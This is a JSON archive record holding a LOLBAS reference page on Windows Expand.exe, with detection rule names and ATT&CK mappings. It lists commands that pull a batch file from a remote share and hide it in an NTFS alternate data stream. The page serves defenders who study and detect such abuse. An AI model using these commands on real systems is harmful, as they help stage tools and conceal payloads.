{
	"id": "ac657724-a220-4bdf-940c-65e2e63e3dde",
	"created_at": "2026-04-06T00:12:57.705654Z",
	"updated_at": "2026-04-10T03:21:18.615693Z",
	"deleted_at": null,
	"sha1_hash": "67899c2517c8589df482f5e33b1f651623a195e7",
	"title": "Expand on LOLBAS",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 47195,
	"plain_text": "Expand on LOLBAS\r\nArchived: 2026-04-05 20:54:01 UTC\r\n.. /Expand.exe\r\nBinary that expands one or more compressed files\r\nPaths:\r\nC:\\Windows\\System32\\Expand.exe\r\nC:\\Windows\\SysWOW64\\Expand.exe\r\nResources:\r\nhttps://twitter.com/infosecn1nja/status/986628482858807297\r\nhttps://twitter.com/Oddvarmoe/status/986709068759949319\r\nAcknowledgements:\r\nRahmat Nurfauzi (@infosecn1nja)\r\nOddvar Moe (@oddvarmoe)\r\nDetections:\r\nSigma: proc_creation_win_expand_cabinet_files.yml\r\nElastic: defense_evasion_misc_lolbin_connecting_to_the_internet.toml\r\nDownload\r\n1. Copies source file to destination.\r\nexpand \\\\servername\\C$\\Windows\\Temp\\file.bat C:\\Windows\\Temp\\file.bat\r\nUse case\r\nUse to copies the source file to the destination file\r\nPrivileges required\r\nUser\r\nOperating systems\r\nWindows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\r\nATT\u0026CK® technique\r\nT1105: Ingress Tool Transfer\r\nhttps://lolbas-project.github.io/lolbas/Binaries/Expand/\r\nPage 1 of 2\n\nCopy\r\n1. Copies source file to destination.\r\nexpand C:\\Windows\\Temp\\file.source.ext C:\\Windows\\Temp\\file.dest.ext\r\nUse case\r\nCopies files from A to B\r\nPrivileges required\r\nUser\r\nOperating systems\r\nWindows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\r\nATT\u0026CK® technique\r\nT1105: Ingress Tool Transfer\r\nAlternate data streams\r\n1. Copies source file to destination Alternate Data Stream (ADS)\r\nexpand \\\\servername\\C$\\Windows\\Temp\\file.bat C:\\Windows\\Temp\\file.ext:file.bat\r\nUse case\r\nCopies files from A to B\r\nPrivileges required\r\nUser\r\nOperating systems\r\nWindows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\r\nATT\u0026CK® technique\r\nT1564.004: NTFS File Attributes\r\nSource: https://lolbas-project.github.io/lolbas/Binaries/Expand/\r\nhttps://lolbas-project.github.io/lolbas/Binaries/Expand/\r\nPage 2 of 2",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"references": [
		"https://lolbas-project.github.io/lolbas/Binaries/Expand/"
	],
	"report_names": [
		"Expand"
	],
	"threat_actors": [],
	"ts_created_at": 1775434377,
	"ts_updated_at": 1775791278,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
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		"text": "https://archive.orkl.eu/67899c2517c8589df482f5e33b1f651623a195e7.txt",
		"img": "https://archive.orkl.eu/67899c2517c8589df482f5e33b1f651623a195e7.jpg"
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}